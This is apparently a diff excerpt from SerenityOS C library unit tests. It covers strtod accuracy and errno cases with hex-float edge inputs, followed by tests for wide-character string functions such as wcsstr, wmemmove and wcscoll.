{ "C25", -1, "7fefffffffffffff", "179769313486231580793728971405303415079934132710037826936173778980444968292764750946649017977587207096330286416692887910946555547851940402630657488671505820681908902000708383676273854845817711531764475730270069855571366959622842914819860834936475292719074168444365510704342711559699508093042880177904174497791.9999999999999999999999999999999999999999999999999999999999999999999999" },
|
||||
{ "C26", -1, "0010000000000000", "2.2250738585072012e-308" },
|
||||
{ "C27", -1, "0006123400000001", "8.44291197326099e-309" },
|
||||
{ "C28", -1, "42c0000000000000", "35184372088831.999999999999999999999999999999999999" },
|
||||
{ "C29", -1, "0000000000000000", "2.47032822920623272e-324" },
|
||||
{ "C30", -1, "3ff199999999999a", "1.100000000000000088817841970012523233890533447265626" },
|
||||
{ "C31", -1, "3f847ae147ae147b", ".010000000000000000057612911342378542997169" },
|
||||
{ "C32", -1, "3ffd34fd8378ea83", "1.8254370818746402660437411213933955878019332885742187" },
|
||||
{ "C33", -1, "43389e56ee5e7a58", "6929495644600919.5" },
|
||||
{ "C34", -1, "432a9d28ff412a75", "3.7455744005952583e15" },
|
||||
{ "C35", -1, "000fffffffffffff", "2.2250738585072011e-308" },
|
||||
{ "C36", -1, "4c20000000000001", "5.0216813883093451685872615018317116712748411717802652598273e58" },
|
||||
{ "C37", -1, "0000000008000000", "6.631236871469758276785396630275967243399099947355303144249971758736286630139265439618068200788048744105960420552601852889715006376325666595539603330361800519107591783233358492337208057849499360899425128640718856616503093444922854759159988160304439909868291973931426625698663157749836252274523485312442358651207051292453083278116143932569727918709786004497872322193856150225415211997283078496319412124640111777216148110752815101775295719811974338451936095907419622417538473679495148632480391435931767981122396703443803335529756003353209830071832230689201383015598792184172909927924176339315507402234836120730914783168400715462440053817592702766213559042115986763819482654128770595766806872783349146967171293949598850675682115696218943412532098591327667236328125E-316" },
|
||||
{ "C38", -1, "0000000000010000", "3.237883913302901289588352412501532174863037669423108059901297049552301970670676565786835742587799557860615776559838283435514391084153169252689190564396459577394618038928365305143463955100356696665629202017331344031730044369360205258345803431471660032699580731300954848363975548690010751530018881758184174569652173110473696022749934638425380623369774736560008997404060967498028389191878963968575439222206416981462690113342524002724385941651051293552601421155333430225237291523843322331326138431477823591142408800030775170625915670728657003151953664260769822494937951845801530895238439819708403389937873241463484205608000027270531106827387907791444918534771598750162812548862768493201518991668028251730299953143924168545708663913273994694463908672332763671875E-319" },
|
||||
{ "C39", -1, "0000800000000100", "6.953355807847677105972805215521891690222119817145950754416205607980030131549636688806115726399441880065386399864028691275539539414652831584795668560082999889551357784961446896042113198284213107935110217162654939802416034676213829409720583759540476786936413816541621287843248433202369209916612249676005573022703244799714622116542188837770376022371172079559125853382801396219552418839469770514904192657627060319372847562301074140442660237844114174497210955449896389180395827191602886654488182452409583981389442783377001505462015745017848754574668342161759496661766020028752888783387074850773192997102997936619876226688096314989645766000479009083731736585750335262099860150896718774401964796827166283225641992040747894382698751809812609536720628966577351093292236328125E-310" },
|
||||
{ "C40", -1, "0000000000010800", "3.339068557571188581835713701280943911923401916998521771655656997328440314559615318168849149074662609099998113009465566426808170378434065722991659642619467706034884424989741080790766778456332168200464651593995817371782125010668346652995912233993254584461125868481633343674905074271064409763090708017856584019776878812425312008812326260363035474811532236853359905334625575404216060622858633280744301892470300555678734689978476870369853549413277156622170245846166991655321535529623870646888786637528995592800436177901746286272273374471701452991433047257863864601424252024791567368195056077320885329384322332391564645264143400798619665040608077549162173963649264049738362290606875883456826586710961041737908872035803481241600376705491726170293986797332763671875E-319" },
|
||||
{ "C41", -1, "4e3fa69165a8eea2", "8.533e+68" },
|
||||
{ "C42", -1, "19dbe0d1c7ea60c9", "4.1006e-184" },
|
||||
{ "C43", -1, "7fe1cc0a350ca87b", "9.998e+307" },
|
||||
{ "C44", -1, "0602117ae45cde43", "9.9538452227e-280" },
|
||||
{ "C45", -1, "0a1fdd9e333badad", "6.47660115e-260" },
|
||||
{ "C46", -1, "49e033d7eca0adef", "7.4e+47" },
|
||||
{ "C47", -1, "4a1033d7eca0adef", "5.92e+48" },
|
||||
{ "C48", -1, "4dd172b70eababa9", "7.35e+66" },
|
||||
{ "C49", -1, "4b8b2628393e02cd", "8.32116e+55" },
|
||||
{ "C50", -1, "bfed35696e58a32f", "-0.91276999999999997026378650843980722129344940185546876" },
|
||||
{ "C51", -1, "c070a3d70a3d70a4", "-266.240000000000009094947017729282379150390624" },
|
||||
{ "C52", -1, "3c97cb9433617c9c", "8.255628858767918002472043289952338102302250764062685473021474535926245152950286865234374e-17" },
|
||||
{ "C53", -1, "43405e6cec57761a", "9214843084008499" },
|
||||
{ "C54", -1, "3fe0000000000002", "0.500000000000000166533453693773481063544750213623046875" },
|
||||
{ "C55", -1, "42c0000000000002", "3.518437208883201171875e13" },
|
||||
{ "C56", -1, "404f44abd5aa7ca4", "62.5364939768271845828" },
|
||||
{ "C57", -1, "3e0bd5cbaef0fd0c", "8.10109172351e-10" },
|
||||
{ "C58", -1, "3ff8000000000000", "1.50000000000000011102230246251565404236316680908203125" },
|
||||
{ "C59", -1, "433fffffffffffff", "9007199254740991.4999999999999999999999999999999995" },
|
||||
{ "C60", -1, "44997a3c7271b021", "30078505129381147446200" },
|
||||
{ "C61", -1, "4458180d5bad2e3e", "1777820000000000000001" },
|
||||
{ "C62", -1, "3fe0000000000002", "0.50000000000000016656055874808561867439493653364479541778564453125" },
|
||||
{ "C63", -1, "3fd92bb352c4623a", "0.3932922657273" },
|
||||
{ "C64", -1, "0000000000000000", "2.4703282292062327208828439643411068618252990130716238221279284125033775363510437593264991818081799618989828234772285886546332835517796989819938739800539093906315035659515570226392290858392449105184435931802849936536152500319370457678249219365623669863658480757001585769269903706311928279558551332927834338409351978015531246597263579574622766465272827220056374006485499977096599470454020828166226237857393450736339007967761930577506740176324673600968951340535537458516661134223766678604162159680461914467291840300530057530849048765391711386591646239524912623653881879636239373280423891018672348497668235089863388587925628302755995657524455507255189313690836254779186948667994968324049705821028513185451396213837722826145437693412532098591327667236328124999e-324" },
|
||||
{ "C65", -1, "0000000000000000", "2.4703282292062327208828439643411068618252990130716238221279284125033775363510437593264991818081799618989828234772285886546332835517796989819938739800539093906315035659515570226392290858392449105184435931802849936536152500319370457678249219365623669863658480757001585769269903706311928279558551332927834338409351978015531246597263579574622766465272827220056374006485499977096599470454020828166226237857393450736339007967761930577506740176324673600968951340535537458516661134223766678604162159680461914467291840300530057530849048765391711386591646239524912623653881879636239373280423891018672348497668235089863388587925628302755995657524455507255189313690836254779186948667994968324049705821028513185451396213837722826145437693412532098591327667236328125e-324" },
|
||||
{ "C66", -1, "0000000000000001", "2.4703282292062327208828439643411068618252990130716238221279284125033775363510437593264991818081799618989828234772285886546332835517796989819938739800539093906315035659515570226392290858392449105184435931802849936536152500319370457678249219365623669863658480757001585769269903706311928279558551332927834338409351978015531246597263579574622766465272827220056374006485499977096599470454020828166226237857393450736339007967761930577506740176324673600968951340535537458516661134223766678604162159680461914467291840300530057530849048765391711386591646239524912623653881879636239373280423891018672348497668235089863388587925628302755995657524455507255189313690836254779186948667994968324049705821028513185451396213837722826145437693412532098591327667236328125001e-324" },
|
||||
{ "C67", -1, "0000000000000001", "7.4109846876186981626485318930233205854758970392148714663837852375101326090531312779794975454245398856969484704316857659638998506553390969459816219401617281718945106978546710679176872575177347315553307795408549809608457500958111373034747658096871009590975442271004757307809711118935784838675653998783503015228055934046593739791790738723868299395818481660169122019456499931289798411362062484498678713572180352209017023903285791732520220528974020802906854021606612375549983402671300035812486479041385743401875520901590172592547146296175134159774938718574737870961645638908718119841271673056017045493004705269590165763776884908267986972573366521765567941072508764337560846003984904972149117463085539556354188641513168478436313080237596295773983001708984374999e-324" },
|
||||
{ "C68", -1, "0000000000000002", "7.4109846876186981626485318930233205854758970392148714663837852375101326090531312779794975454245398856969484704316857659638998506553390969459816219401617281718945106978546710679176872575177347315553307795408549809608457500958111373034747658096871009590975442271004757307809711118935784838675653998783503015228055934046593739791790738723868299395818481660169122019456499931289798411362062484498678713572180352209017023903285791732520220528974020802906854021606612375549983402671300035812486479041385743401875520901590172592547146296175134159774938718574737870961645638908718119841271673056017045493004705269590165763776884908267986972573366521765567941072508764337560846003984904972149117463085539556354188641513168478436313080237596295773983001708984375e-324" },
|
||||
{ "C69", -1, "0000000000000002", "7.4109846876186981626485318930233205854758970392148714663837852375101326090531312779794975454245398856969484704316857659638998506553390969459816219401617281718945106978546710679176872575177347315553307795408549809608457500958111373034747658096871009590975442271004757307809711118935784838675653998783503015228055934046593739791790738723868299395818481660169122019456499931289798411362062484498678713572180352209017023903285791732520220528974020802906854021606612375549983402671300035812486479041385743401875520901590172592547146296175134159774938718574737870961645638908718119841271673056017045493004705269590165763776884908267986972573366521765567941072508764337560846003984904972149117463085539556354188641513168478436313080237596295773983001708984375001e-324" },
|
||||
{ "C70", -1, "7fe0000000000000", "8.9884656743115805365666807213050294962762414131308158973971342756154045415486693752413698006024096935349884403114202125541629105369684531108613657287705365884742938136589844238179474556051429647415148697857438797685859063890851407391008830874765563025951597582513936655578157348020066364210154316532161708031999e+307" },
|
||||
{ "C71", -1, "7fe0000000000000", "8.9884656743115805365666807213050294962762414131308158973971342756154045415486693752413698006024096935349884403114202125541629105369684531108613657287705365884742938136589844238179474556051429647415148697857438797685859063890851407391008830874765563025951597582513936655578157348020066364210154316532161708032e+307" },
|
||||
{ "C72", -1, "7fe0000000000001", "8.9884656743115805365666807213050294962762414131308158973971342756154045415486693752413698006024096935349884403114202125541629105369684531108613657287705365884742938136589844238179474556051429648741514697857438797685859063890851407391008830874765563025951597582513936655578157348020066364210154316532161708032001e+307" },
|
||||
{ "C73", -1, "3ff0000010000000", "1.00000005960464477550" },
|
||||
{ "C74", -1, "36c6000000000000", "7.7071415537864938e-45" },
|
||||
{ "C75", -1, "0000000000000000", "2183167012312112312312.23538020374420446192e-370" },
|
||||
{ "C76", -1, "0006c9a143590c14", "94393431193180696942841837085033647913224148539854e-358" },
|
||||
{ "C77", -1, "3ff0000000000000", "99999999999999994487665465554760717039532578546e-47" },
|
||||
{ "C78", -1, "44b52d02c7e14af6", "10000000000000000000000000000000000000000e-17" },
|
||||
{ "C79", -1, "0007802665fd9600", "104308485241983990666713401708072175773165034278685682646111762292409330928739751702404658197872319129036519947435319418387839758990478549477777586673075945844895981012024387992135617064532141489278815239849108105951619997829153633535314849999674266169258928940692239684771590065027025835804863585454872499320500023126142553932654370362024104462255244034053203998964360882487378334860197725139151265590832887433736189468858614521708567646743455601905935595381852723723645799866672558576993978025033590728687206296379801363024094048327273913079612469982585674824156000783167963081616214710691759864332339239688734656548790656486646106983450809073750535624894296242072010195710276073042036425579852459556183541199012652571123898996574563824424330960027873516082763671875e-1075" },
|
||||
{ "C80", -1, "4025cccccccccccd", "10.900000000000000012345678912345678912345" },
|
||||
|
||||
// Hexadecimal floats.
|
||||
// Hex floats do not allow hexadecimal digits in the exponent
|
||||
{ "Fp1.1", 7, "406579a000000000", "0xab.cdpef" },
|
||||
{ "Fp1.1", 7, "406579a000000000", "0xab.cdp-ef" },
|
||||
{ "Fp1.1", 7, "406579a000000000", "0xab.cdpe-f" },
|
||||
{ "Fp1.1", 7, "406579a000000000", "0xab.cdpef-" },
|
||||
{ "Fp1.2", 11, "7c9579a000000000", "0xab.cdp963" },
|
||||
{ "Fp1.3", 12, "7c9579a000000000", "0xab.cdp+963" },
|
||||
{ "Fp1.4", 12, "7c2579a000000000", "0xab.cdp+956" },
|
||||
{ "Fp1.4", 12, "7c1579a000000000", "0xab.cdp+955" },
|
||||
{ "Fp1.5", 12, "04a579a000000000", "0xab.cdp-956" },
|
||||
// Sneaky floating point :P
|
||||
{ "Fp2.1", 4, "4069400000000000", "0xCAPE" },
|
||||
{ "Fp2.1", 4, "4069400000000000", "0xCAP-E" },
|
||||
{ "Fp2.2", 6, "4069400000000000", "0xCAP0" },
|
||||
{ "Fp2.2", 7, "4069400000000000", "0xCAP+0" },
|
||||
{ "Fp2.2", 7, "4069400000000000", "0xCAP-0" },
|
||||
{ "Fp2.3", 7, "4159400000000000", "0xCAP15" },
|
||||
{ "Fp2.4", 7, "4459400000000000", "0xCAP63" },
|
||||
{ "Fp2.5", 7, "43e9400000000000", "0xCAP56" },
|
||||
};
|
||||
|
||||
constexpr size_t NUM_TESTCASES = sizeof(TESTCASES) / sizeof(TESTCASES[0]);
|
||||
|
||||
typedef double (*strtod_fn_t)(char const* str, char** endptr);
|
||||
|
||||
static long long cast_ll(double d)
|
||||
{
|
||||
union readable_t {
|
||||
double as_double;
|
||||
long long as_ll;
|
||||
};
|
||||
typedef char assert_double_8bytes[sizeof(double) == 8 ? 1 : -1];
|
||||
[[maybe_unused]] auto double_size = sizeof(assert_double_8bytes);
|
||||
typedef char assert_ll_8bytes[sizeof(long long) == 8 ? 1 : -1];
|
||||
[[maybe_unused]] auto longlong_size = sizeof(assert_ll_8bytes);
|
||||
typedef char assert_readable_8bytes[sizeof(readable_t) == 8 ? 1 : -1];
|
||||
[[maybe_unused]] auto readable8_size = sizeof(assert_readable_8bytes);
|
||||
readable_t readable;
|
||||
readable.as_double = d;
|
||||
return readable.as_ll;
|
||||
}
|
||||
|
||||
static bool is_strtod_close(strtod_fn_t strtod_fn, char const* test_string, char const* expect_hex, int expect_consume, long long expect_ll)
|
||||
{
|
||||
union readable_t {
|
||||
double as_double;
|
||||
unsigned char as_bytes[8];
|
||||
};
|
||||
typedef char assert_double_8bytes[sizeof(double) == 8 ? 1 : -1];
|
||||
[[maybe_unused]] auto double_size = sizeof(assert_double_8bytes);
|
||||
typedef char assert_readable_8bytes[sizeof(readable_t) == 8 ? 1 : -1];
|
||||
[[maybe_unused]] auto readable8_size = sizeof(assert_readable_8bytes);
|
||||
readable_t readable;
|
||||
char* endptr = (char*)0x123;
|
||||
|
||||
readable.as_double = strtod_fn(test_string, &endptr);
|
||||
|
||||
char actual_hex[16 + 1] = { 0 };
|
||||
for (size_t i = 0; i < 8; ++i) {
|
||||
// Little endian, need to reverse order.
|
||||
snprintf(&actual_hex[2 * i], 3, "%02x", readable.as_bytes[8 - 1 - i]);
|
||||
}
|
||||
|
||||
bool actual_consume_possible = false;
|
||||
int actual_consume;
|
||||
|
||||
if (endptr < test_string) {
|
||||
actual_consume = 999;
|
||||
} else {
|
||||
char const* max_endptr = test_string + strlen(test_string);
|
||||
actual_consume_possible = endptr <= max_endptr;
|
||||
actual_consume = endptr - test_string;
|
||||
}
|
||||
|
||||
long long actual_ll = cast_ll(readable.as_double);
|
||||
long long off_by = expect_ll - actual_ll;
|
||||
|
||||
bool ofby1_hex = off_by != 0 && -LENIENCY <= off_by && off_by <= LENIENCY;
|
||||
bool wrong_hex = !ofby1_hex && strcmp(expect_hex, actual_hex) != 0;
|
||||
bool error_cns = !actual_consume_possible;
|
||||
bool wrong_cns = !error_cns && (actual_consume != expect_consume);
|
||||
|
||||
out(" {}{}{}({}{:2}{})",
|
||||
ofby1_hex ? TEXT_OFBY1 : wrong_hex ? TEXT_WRONG
|
||||
: "",
|
||||
actual_hex,
|
||||
(ofby1_hex || wrong_hex) ? TEXT_RESET : "",
|
||||
error_cns ? TEXT_ERROR : wrong_cns ? TEXT_WRONG
|
||||
: "",
|
||||
actual_consume,
|
||||
(error_cns || wrong_cns) ? TEXT_RESET : "");
|
||||
|
||||
return !(wrong_hex || error_cns || wrong_cns);
|
||||
}
|
||||
|
||||
static long long hex_to_ll(char const* hex)
|
||||
{
|
||||
long long result = 0;
|
||||
for (int i = 0; i < 16; ++i) {
|
||||
char ch = *(hex + i);
|
||||
int digit;
|
||||
if ('0' <= ch && ch <= '9') {
|
||||
digit = ch - '0';
|
||||
} else if ('a' <= ch && ch <= 'f') {
|
||||
digit = ch - 'a' + 10;
|
||||
} else {
|
||||
FAIL(ByteString::formatted("\n!!! Encountered char {:02x} at {}", ch, i));
|
||||
return result;
|
||||
}
|
||||
result <<= 4;
|
||||
result += digit;
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
TEST_CASE(strtod_accuracy)
|
||||
{
|
||||
outln("Running {} testcases...", NUM_TESTCASES);
|
||||
outln("{:3}({:-5}): {:16}({:2}) {:16}({:2}) - {}", "num", "name", "correct", "cs", "strtod", "cs", "teststring");
|
||||
|
||||
int successes = 0;
|
||||
int fails = 0;
|
||||
for (size_t i = 0; i < NUM_TESTCASES; i++) {
|
||||
Testcase& tc = TESTCASES[i];
|
||||
if (tc.should_consume == -1) {
|
||||
tc.should_consume = strlen(tc.test_string);
|
||||
}
|
||||
out("{:3}({:-5}): {}({:2})", i, tc.test_name, tc.hex, tc.should_consume);
|
||||
long long expect_ll = hex_to_ll(tc.hex);
|
||||
|
||||
bool success = false;
|
||||
success = is_strtod_close(strtod, tc.test_string, tc.hex, tc.should_consume, expect_ll);
|
||||
outln(" from {}", tc.test_string);
|
||||
|
||||
if (success) {
|
||||
successes += 1;
|
||||
} else {
|
||||
fails += 1;
|
||||
}
|
||||
}
|
||||
outln("Out of {} tests, saw {} successes and {} fails.", NUM_TESTCASES, successes, fails);
|
||||
if (fails != 0) {
|
||||
FAIL(ByteString::formatted("{} strtod tests failed", fails));
|
||||
}
|
||||
|
||||
outln("PASS (with leniency up to {} ULP from the exact solution)", LENIENCY);
|
||||
}
|
||||
|
||||
TEST_CASE(test_strtod_sets_errno)
|
||||
{
|
||||
#define EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO_BASE(str_value, double_value) \
|
||||
do { \
|
||||
errno = 0; \
|
||||
auto value = strtod(str_value, nullptr); \
|
||||
EXPECT_EQ(errno, 0); \
|
||||
EXPECT_EQ(bit_cast<u64>(value), bit_cast<u64>(static_cast<double>(double_value))); \
|
||||
} while (false)
|
||||
|
||||
#define EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO(str_value, double_value) \
|
||||
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO_BASE(str_value, double_value); \
|
||||
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO_BASE(" " str_value, double_value); \
|
||||
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO_BASE("\t" str_value, double_value); \
|
||||
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO_BASE("\n" str_value, double_value)
|
||||
|
||||
// Leading zeros are allowed
|
||||
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("0", 0.);
|
||||
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("00", 0.);
|
||||
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("000", 0.);
|
||||
|
||||
// FIXME: Verify we only parse up to the appropriate point
|
||||
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("0xT", 0.);
|
||||
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("0xp20", 0.);
|
||||
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("0x.t", 0.);
|
||||
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("0x.pt", 0.);
|
||||
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("0x1.p0", 1.);
|
||||
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("0x1.pa", 1.);
|
||||
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("0x.1pa", 0x0.1p0);
|
||||
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("0x.fpa", 0x0.fp0);
|
||||
|
||||
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("-0xT", -0.);
|
||||
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("-0xp20", -0.);
|
||||
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("-0x.t", -0.);
|
||||
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("-0x.pt", -0.);
|
||||
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("-0x1.p0", -1.);
|
||||
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("-0x1.pa", -1.);
|
||||
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("-0x.1pa", -0x0.1p0);
|
||||
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("-0x.fpa", -0x0.fp0);
|
||||
|
||||
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("1", 1.);
|
||||
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("10e10", 10e10);
|
||||
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("10.10e10", 10.10e10);
|
||||
|
||||
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("inf", __builtin_huge_val());
|
||||
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("infinity", __builtin_huge_val());
|
||||
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("INF", __builtin_huge_val());
|
||||
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("INFINITY", __builtin_huge_val());
|
||||
|
||||
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("Inf", __builtin_huge_val());
|
||||
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("iNf", __builtin_huge_val());
|
||||
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("inF", __builtin_huge_val());
|
||||
|
||||
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("-inf", -__builtin_huge_val());
|
||||
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("-infinity", -__builtin_huge_val());
|
||||
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("-INF", -__builtin_huge_val());
|
||||
EXPECT_TO_GIVE_VALUE_WITH_0_ERRNO("-INFINITY", -__builtin_huge_val());
|
||||
|
||||
#define EXPECT_TO_GIVE_VALUE_WITH_ERRNO(str_value, double_value, errno_value) \
|
||||
do { \
|
||||
errno = 0; \
|
||||
auto value = strtod(str_value, nullptr); \
|
||||
EXPECT_EQ(errno, errno_value); \
|
||||
EXPECT_EQ(bit_cast<u64>(value), bit_cast<u64>(static_cast<double>(double_value))); \
|
||||
} while (false)
|
||||
|
||||
EXPECT_TO_GIVE_VALUE_WITH_ERRNO("nan", __builtin_nan(""), ERANGE);
|
||||
EXPECT_TO_GIVE_VALUE_WITH_ERRNO("10e10000", __builtin_huge_val(), ERANGE);
|
||||
EXPECT_TO_GIVE_VALUE_WITH_ERRNO("0x1p10000", __builtin_huge_val(), ERANGE);
|
||||
EXPECT_TO_GIVE_VALUE_WITH_ERRNO("-10e10000", -__builtin_huge_val(), ERANGE);
|
||||
EXPECT_TO_GIVE_VALUE_WITH_ERRNO("-0x1p10000", -__builtin_huge_val(), ERANGE);
|
||||
EXPECT_TO_GIVE_VALUE_WITH_ERRNO("10e-10000", 0, ERANGE);
|
||||
EXPECT_TO_GIVE_VALUE_WITH_ERRNO("0x1p-10000", 0, ERANGE);
|
||||
EXPECT_TO_GIVE_VALUE_WITH_ERRNO("-0x1p-10000", -0., ERANGE);
|
||||
}
|
|
@ -1,660 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2021-2022, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <LibTest/TestCase.h>
|
||||
|
||||
#include <errno.h>
|
||||
#include <limits.h>
|
||||
#include <string.h>
|
||||
#include <time.h>
|
||||
#include <wchar.h>
|
||||
|
||||
TEST_CASE(wcspbrk)
|
||||
{
|
||||
wchar_t const* input;
|
||||
wchar_t* ret;
|
||||
|
||||
// Test empty haystack.
|
||||
ret = wcspbrk(L"", L"ab");
|
||||
EXPECT_EQ(ret, nullptr);
|
||||
|
||||
// Test empty needle.
|
||||
ret = wcspbrk(L"ab", L"");
|
||||
EXPECT_EQ(ret, nullptr);
|
||||
|
||||
// Test search for a single character.
|
||||
input = L"abcd";
|
||||
ret = wcspbrk(input, L"a");
|
||||
EXPECT_EQ(ret, input);
|
||||
|
||||
// Test search for multiple characters, none matches.
|
||||
ret = wcspbrk(input, L"zxy");
|
||||
EXPECT_EQ(ret, nullptr);
|
||||
|
||||
// Test search for multiple characters, last matches.
|
||||
ret = wcspbrk(input, L"zxyc");
|
||||
EXPECT_EQ(ret, input + 2);
|
||||
}
|
||||
|
||||
TEST_CASE(wcsstr)
|
||||
{
|
||||
wchar_t const* input = L"abcde";
|
||||
wchar_t* ret;
|
||||
|
||||
// Empty needle should return haystack.
|
||||
ret = wcsstr(input, L"");
|
||||
EXPECT_EQ(ret, input);
|
||||
|
||||
// Test exact match.
|
||||
ret = wcsstr(input, input);
|
||||
EXPECT_EQ(ret, input);
|
||||
|
||||
// Test match at string start.
|
||||
ret = wcsstr(input, L"ab");
|
||||
EXPECT_EQ(ret, input);
|
||||
|
||||
// Test match at string end.
|
||||
ret = wcsstr(input, L"de");
|
||||
EXPECT_EQ(ret, input + 3);
|
||||
|
||||
// Test no match.
|
||||
ret = wcsstr(input, L"z");
|
||||
EXPECT_EQ(ret, nullptr);
|
||||
|
||||
// Test needle that is longer than the haystack.
|
||||
ret = wcsstr(input, L"abcdef");
|
||||
EXPECT_EQ(ret, nullptr);
|
||||
}
|
||||
|
||||
TEST_CASE(wmemchr)
|
||||
{
|
||||
wchar_t const* input = L"abcde";
|
||||
wchar_t* ret;
|
||||
|
||||
// Empty haystack returns nothing.
|
||||
ret = wmemchr(L"", L'c', 0);
|
||||
EXPECT_EQ(ret, nullptr);
|
||||
|
||||
// Not included character returns nothing.
|
||||
ret = wmemchr(input, L'z', 5);
|
||||
EXPECT_EQ(ret, nullptr);
|
||||
|
||||
// Match at string start.
|
||||
ret = wmemchr(input, L'a', 5);
|
||||
EXPECT_EQ(ret, input);
|
||||
|
||||
// Match at string end.
|
||||
ret = wmemchr(input, L'e', 5);
|
||||
EXPECT_EQ(ret, input + 4);
|
||||
|
||||
input = L"abcde\0fg";
|
||||
|
||||
// Handle finding null characters.
|
||||
ret = wmemchr(input, L'\0', 8);
|
||||
EXPECT_EQ(ret, input + 5);
|
||||
|
||||
// Don't stop at null characters.
|
||||
ret = wmemchr(input, L'f', 8);
|
||||
EXPECT_EQ(ret, input + 6);
|
||||
}
|
||||
|
||||
TEST_CASE(wmemcpy)
|
||||
{
|
||||
wchar_t const* input = L"abc\0def";
|
||||
auto buf = static_cast<wchar_t*>(malloc(8 * sizeof(wchar_t)));
|
||||
|
||||
if (!buf) {
|
||||
FAIL("Could not allocate space for copy target");
|
||||
return;
|
||||
}
|
||||
|
||||
wchar_t* ret = wmemcpy(buf, input, 8);
|
||||
|
||||
EXPECT_EQ(ret, buf);
|
||||
EXPECT_EQ(memcmp(buf, input, 8 * sizeof(wchar_t)), 0);
|
||||
}
|
||||
|
||||
TEST_CASE(wmemset)
|
||||
{
|
||||
auto buf_length = 8;
|
||||
auto buf = static_cast<wchar_t*>(calloc(buf_length, sizeof(wchar_t)));
|
||||
|
||||
if (!buf) {
|
||||
FAIL("Could not allocate memory for target buffer");
|
||||
return;
|
||||
}
|
||||
|
||||
wchar_t* ret = wmemset(buf, L'\U0001f41e', buf_length - 1);
|
||||
|
||||
EXPECT_EQ(ret, buf);
|
||||
|
||||
for (int i = 0; i < buf_length - 1; i++) {
|
||||
EXPECT_EQ(buf[i], L'\U0001f41e');
|
||||
}
|
||||
|
||||
EXPECT_EQ(buf[buf_length - 1], L'\0');
|
||||
|
||||
free(buf);
|
||||
}
|
||||
|
||||
TEST_CASE(wmemmove)
|
||||
{
|
||||
wchar_t* ret;
|
||||
wchar_t const* string = L"abc\0def";
|
||||
auto buf = static_cast<wchar_t*>(calloc(32, sizeof(wchar_t)));
|
||||
|
||||
if (!buf) {
|
||||
FAIL("Could not allocate memory for target buffer");
|
||||
return;
|
||||
}
|
||||
|
||||
// Test moving to smaller addresses.
|
||||
wmemcpy(buf + 3, string, 8);
|
||||
ret = wmemmove(buf + 1, buf + 3, 8);
|
||||
EXPECT_EQ(ret, buf + 1);
|
||||
EXPECT_EQ(memcmp(string, buf + 1, 8 * sizeof(wchar_t)), 0);
|
||||
|
||||
// Test moving to larger addresses.
|
||||
wmemcpy(buf + 16, string, 8);
|
||||
ret = wmemmove(buf + 18, buf + 16, 8);
|
||||
EXPECT_EQ(ret, buf + 18);
|
||||
EXPECT_EQ(memcmp(string, buf + 18, 8 * sizeof(wchar_t)), 0);
|
||||
|
||||
free(buf);
|
||||
}
|
||||
|
||||
TEST_CASE(wcscoll)
|
||||
{
|
||||
// Check if wcscoll is sorting correctly. At the moment we are doing raw char comparisons,
|
||||
// so it's digits, then uppercase letters, then lowercase letters.
|
||||
|
||||
// Equalness between equal strings.
|
||||
EXPECT(wcscoll(L"", L"") == 0);
|
||||
EXPECT(wcscoll(L"0", L"0") == 0);
|
||||
|
||||
// Shorter strings before longer strings.
|
||||
EXPECT(wcscoll(L"", L"0") < 0);
|
||||
EXPECT(wcscoll(L"0", L"") > 0);
|
||||
EXPECT(wcscoll(L"123", L"1234") < 0);
|
||||
EXPECT(wcscoll(L"1234", L"123") > 0);
|
||||
|
||||
// Order within digits.
|
||||
EXPECT(wcscoll(L"0", L"9") < 0);
|
||||
EXPECT(wcscoll(L"9", L"0") > 0);
|
||||
|
||||
// Digits before uppercase letters.
|
||||
EXPECT(wcscoll(L"9", L"A") < 0);
|
||||
EXPECT(wcscoll(L"A", L"9") > 0);
|
||||
|
||||
// Order within uppercase letters.
|
||||
EXPECT(wcscoll(L"A", L"Z") < 0);
|
||||
EXPECT(wcscoll(L"Z", L"A") > 0);
|
||||
|
||||
// Uppercase letters before lowercase letters.
|
||||
EXPECT(wcscoll(L"Z", L"a") < 0);
|
||||
EXPECT(wcscoll(L"a", L"Z") > 0);
|
||||
|
||||
// Uppercase letters before lowercase letters.
|
||||
EXPECT(wcscoll(L"a", L"z") < 0);
|
||||
EXPECT(wcscoll(L"z", L"a") > 0);
|
||||
}
|
||||
|
||||
